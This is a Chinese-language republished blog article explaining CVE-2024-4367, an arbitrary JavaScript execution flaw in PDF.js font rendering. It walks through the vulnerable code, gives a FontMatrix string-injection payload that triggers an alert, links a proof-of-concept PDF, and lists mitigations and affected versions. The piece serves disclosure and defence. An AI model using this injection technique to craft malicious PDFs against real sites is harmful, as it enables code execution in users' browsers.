前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >周百万下载量的 NPM 包可执行任意 JS 代码,数十万网站可能受影响!

周百万下载量的 NPM 包可执行任意 JS 代码,数十万网站可能受影响!

作者头像
ConardLi
发布2024-07-01 14:42:29
3480
发布2024-07-01 14:42:29
举报
文章被收录于专栏:code秘密花园

大家好,我是 ConardLi

最近 Codean Labs 对外披露了 PDF.js 的一个任意代码执行漏洞(CVE-2024-4367)。

由于 PDF.js 使用非常广泛,且漏洞利用简单,危害很大,漏洞评级非常高。

PDF.js 是一个基于 JavaScriptPDF 查看器,由 Mozilla 维护。此漏洞允许攻击者在打开恶意 PDF 文件时立即执行任意 JavaScript 代码。

今天我们一起来学习下这个漏洞具体的咋回事。

PDF.js 有两个常见的使用场景。首先,它是火狐浏览器的内置 PDF 阅读器。如果你使用火狐浏览器,并且曾经下载或者浏览过 PDF 文件,你就会看到它在起作用。其次,它被打包成一个名为 pdfjs-distNode 模块,根据 NPM 的数据,每周有大约 270 万次的下载量。以这种形式,网站可以用它来提供嵌入式 PDF 预览功能。从代码托管平台到笔记应用程序,各种各样的应用都在使用它。

PDF 的格式出了名的复杂。它支持各种媒体类型、复杂的字体渲染,甚至还有基本的脚本,所以 PDF 阅读器是漏洞研究人员常见的研究目标。由于有大量的解析逻辑,肯定会有一些错误,PDF.js 也不例外。不过它的独特之处在于它是用 JavaScript 编写的,而不是 CC++。这意味着不会有内存损坏的问题,但正如我们将看到的,它也有自己的一系列风险。

PDF 中的字体可以有几种不同的格式,其中一些对我们来说比其他的更晦涩。对于像 TrueType 这样的现代格式,PDF.js 大多依赖于浏览器自身的字体渲染器。在其他情况下,它必须手动将字形(即字符)描述转换为页面上的曲线。为了优化性能,会为每个字形预编译一个路径生成函数。如果支持的话,这是通过创建一个 JavaScript Function 对象来实现的,该对象的主体(jsBuf)包含构成路径的指令:

代码语言:javascript
复制
// 如果可以,将 cmds 编译为 JavaScript 以实现最大速度...
if (this.isEvalSupported && FeatureTest.isEvalSupported) { 
    // 创建一个空数组 jsBuf 用于存储要生成的 JavaScript 代码片段
    const jsBuf = []; 
    // 遍历 cmds 数组中的每个元素
    for (const current of cmds) { 
        // 如果当前元素有 args 属性且不为 undefined,将其转换为字符串并以逗号连接
        const args = current.args!== undefined? current.args.join(",") : ""; 
        // 将特定格式的代码片段添加到 jsBuf 数组中
        jsBuf.push("c.", current.cmd, "(", args, ");\n"); 
    }
    // 打印 jsBuf 数组元素连接后的字符串
    console.log(jsBuf.join("")); 
    // 返回一个新的 Function 对象,该对象接受 "c" 和 "size" 作为参数,并执行 jsBuf 中连接的代码
    return (this.compiledGlyphs[character] = new Function(
        "c",
        "size",
        jsBuf.join("")
    ));
}

从攻击者的角度来看,这非常有趣:如果我们能够以某种方式控制进入 Function 对象主体的这些 cmds 并插入我们自己的代码,那么一旦渲染这样的字形,它就会被执行。

好吧,让我们看看这个命令列表是如何生成的。回溯到 CompiledFont 类的逻辑,我们找到了 compileGlyph(...) 方法。这个方法用几个通用命令(保存、变换、缩放和恢复)初始化了 cmds 数组,并委托给 compileGlyphImpl(...) 方法来填充实际的渲染命令:

代码语言:javascript
复制
// 定义 compileGlyph 方法,接受 code 和 glyphId 作为参数
compileGlyph(code, glyphId) {
    // 如果 code 为空、长度为 0 或者 code 的第一个元素为 14,返回 NOOP
    if (!code || code.length === 0 || code[0] === 14) {
      return NOOP;
    }

    // 定义 fontMatrix 并初始化为当前对象的 fontMatrix 属性
    let fontMatrix = this.fontMatrix;
    //...

    // 定义一个包含命令对象的 cmds 数组
    const cmds = [
      { cmd: "save" }, // 保存命令
      { cmd: "transform", args: fontMatrix.slice() }, // 变换命令,参数为 fontMatrix 的切片副本
      { cmd: "scale", args: ["size", "-size"] }, // 缩放命令,参数为 "size" 和 "-size"
    ];
    // 调用 compileGlyphImpl 方法,并传入 code、cmds 和 glyphId
    this.compileGlyphImpl(code, cmds, glyphId);

    // 向 cmds 数组添加一个恢复命令
    cmds.push({ cmd: "restore" });

    // 返回 cmds 数组
    return cmds;
  }

如果我们对 PDF.js 代码进行检测以记录生成的 Function 对象,我们会发现生成的代码确实包含那些命令:

代码语言:javascript
复制
c.save();
c.transform(0.001,0,0,0.001,0,0);
c.scale(size,-size);
c.moveTo(0,0);
c.restore();

在这一点上,我们可以审查字体解析代码以及由字形生成的各种命令和参数,比如 quadraticCurveTobezierCurveTo,但所有这些看起来都相当正常,除了数字之外无法控制任何东西。然而,结果证明更有趣的是我们上面看到的变换命令:

代码语言:javascript
复制
{ cmd: "transform", args: fontMatrix.slice() },

这个 fontMatrix 数组会被复制(通过 .slice() 方法)并插入到 Function 对象的主体中,用逗号连接。代码显然假定它是一个数字数组,但情况总是这样吗?这个数组中的任何字符串都会被直接插入,周围没有任何引号。因此,这在最好的情况下会破坏 JavaScript 语法,在最坏的情况下会导致任意代码执行。但是我们真的能在那种程度上控制 fontMatrix 的内容吗?

fontMatrix 的值默认是 [0.001, 0, 0, 0.001, 0, 0],但通常字体自身会将其设置为一个自定义矩阵,即在它自身的嵌入式元数据中。具体如何做到这一点,每种字体格式都有所不同。这里以 Type1 解析器为例:

代码语言:javascript
复制
/**
 * 提取字体头部信息的函数
 * @param {Object} properties - 包含相关属性的对象
 */
extractFontHeader(properties) {
    // 定义一个变量用于存储获取的令牌
    let token;
    // 当获取的令牌不为空时,进行循环
    while ((token = this.getToken())!== null) {
      // 如果令牌不是'/',则继续下一次循环
      if (token!== "/") {
        continue;
      }
      // 再次获取令牌
      token = this.getToken();
      // 根据令牌的值进行不同的处理
      switch (token) {
        // 如果令牌是'FontMatrix'
        case "FontMatrix":
          // 读取数字数组并将其赋值给变量matrix
          const matrix = this.readNumberArray();
          // 将matrix赋值给properties对象的fontMatrix属性
          properties.fontMatrix = matrix;
          break;
        // 省略其他情况的处理
      ...
      }
      // 省略其他处理
     ...
    }
    // 省略其他处理
  ...
  }

尽管从技术上讲,Type1 字体在其头部包含任意的 Postscript 代码,但没有一个正常的 PDF 阅读器能完全支持这一点,大多数只是尝试读取具有预期类型的预定义键值对。在这种情况下,当 PDF.js 遇到 FontMatrix 键时,它只是读取一个数字数组。似乎用于其他几种字体格式的 CFF 解析器在这方面也是类似的。总的来说,看起来我们确实被限制在数字上。

然而,事实证明,这个矩阵有不止一个潜在的来源。我们也可以在字体之外指定一个自定义的 FontMatrix 值,即在 PDF 的元数据对象中!仔细查看 PartialEvaluator.translateFont(...) 方法,我们看到它从与字体相关的 PDF 字典中加载各种属性,其中之一就是 fontMatrix

代码语言:javascript
复制
    const properties = {
      type,
      name: fontName.name,
      subtype,
      file: fontFile,
      ...
      fontMatrix: dict.getArray("FontMatrix") || FONT_IDENTITY_MATRIX,
      ...
      bbox: descriptor.getArray("FontBBox") || dict.getArray("FontBBox"),
      ascent: descriptor.get("Ascent"),
      descent: descriptor.get("Descent"),
      xHeight: descriptor.get("XHeight") || 0,
      capHeight: descriptor.get("CapHeight") || 0,
      flags: descriptor.get("Flags"),
      italicAngle: descriptor.get("ItalicAngle") || 0,
      ...
    };

PDF 格式中,字体定义由几个对象组成。字体、它的字体描述符以及实际的字体文件。例如,这里由对象 1、2 和 3 表示:

代码语言:javascript
复制
1 0 obj
<<
  /Type /Font
  /Subtype /Type1
  /FontDescriptor 2 0 R
  /BaseFont /FooBarFont
>>
endobj

2 0 obj
<<
  /Type /FontDescriptor
  /FontName /FooBarFont
  /FontFile 3 0 R
  /ItalicAngle 0
  /Flags 4
>>
endobj

3 0 obj
<<
  /Length 100
>>
... (actual binary font data) ...
endobj

上面代码所引用的字典指的是字体对象。因此,我们应该能够像这样定义一个自定义的 FontMatrix 数组:

代码语言:javascript
复制
1 0 obj
<<
  /Type /Font
  /Subtype /Type1
  /FontDescriptor 2 0 R
  /BaseFont /FooBarFont
  /FontMatrix [1 2 3 4 5 6]   % <-----
>>
endobj

当尝试这样做时,起初看起来这不起作用,因为生成的 Function 主体中的变换操作仍然使用默认矩阵。然而,这是因为字体文件本身正在覆盖该值。幸运的是,当使用没有内部 FontMatrix 定义的 Type1 字体时,PDF 中指定的值会优先考虑,因为 fontMatrix 值不会被覆盖。

既然我们可以从 PDF 对象控制这个数组,我们就拥有了想要的所有灵活性,因为 PDF 支持的不仅仅是数字类型的基本元素。让我们尝试插入一个字符串类型的值而不是数字(在 PDF 中,字符串由括号分隔):

代码语言:javascript
复制
/FontMatrix [1 2 3 4 5 (foobar)]

成功了!它被简单地插入到 Function 体中!

代码语言:javascript
复制
c.save();
c.transform(1,2,3,4,5,foobar);
c.scale(size,-size);
c.moveTo(0,0);
c.restore();

插入任意的 JavaScript 代码现在只是正确处理语法的问题。下面是一个经典的示例,通过首先结束 c.transform(...) 函数,并利用后面的括号来触发一个 alert:

代码语言:javascript
复制
/FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]

结果完全符合预期:

这里有个例子,你可以在含有漏洞的 pdf.js 版本中进行验证:

https://codeanlabs.com/wp-content/uploads/2024/05/poc_generalized_CVE-2024-4367.pdf

针对此漏洞的最佳缓解措施是将 PDF.js 更新到 4.2.67 或更高版本。大多数包装库,如 react-pdf,也已发布了补丁版本。由于一些更高级别的与 PDF 相关的库会静态嵌入 PDF.js,建议递归检查你的 node_modules 文件夹中名为 pdf.js 的文件。

此外,一个简单的解决方法是将 PDF.jsisEvalSupported 设置为 false。这可以禁用易受攻击的代码路径。如果你的网站有严格的内容安全策略(禁用 evalFunction 构造函数的使用),则此漏洞也无法被利用。

PDF.js 的首次发布以来,就一直存在这条易受攻击的代码路径,但由于一个拼写错误,在 2016 年和 2017 年发布的几个版本中无法利用。需要注意的是,2017 年及之前标记为未受影响的版本仍然容易受到另一个漏洞(CVE-2018-5158)的影响,这意味着它们不安全使用。

  • v4.2.67(2024 年 4 月 29 日发布):未受影响(已修复)
  • v4.1.392(2024 年 4 月 11 日发布):受影响(在修复此漏洞之前的版本)
  • v1.10.88(2017 年 10 月 27 日发布):受影响(由于拼写错误修复重新引入了安全漏洞)
  • v1.9.426(2017 年 8 月 15 日发布):未受影响(在下一个受影响版本之前的发布)
  • v1.5.188(2016 年 4 月 21 日发布):未受影响(由于一个意外的拼写错误缓解了安全漏洞)
  • v1.4.20(2016 年 1 月 27 日发布):受影响(在下一个意外修复易受攻击代码的版本之前的发布)
  • v0.8.1181(2014 年 4 月 10 日发布):受影响(PDF.js 的首次公开发布)

最后

大家尽快检查依赖版本进行修复!

对此,你怎么看?欢迎在评论区留言~

参考

  • https://security.snyk.io/vuln/SNYK-JS-PDFJSDIST-6810403
  • https://github.com/advisories/GHSA-wgrm-67xf-hhpq
  • https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 code秘密花园 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 最后
相关产品与服务
代码托管
CODING 代码托管(CODING Code Repositories,CODING-CR)是为开发者打造的云端便捷代码管理工具,旨在为更多的开发者带去便捷、高效的开发体验,全面支持 Git/SVN 代码托管,包括代码评审、分支管理、超大仓库等功能。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档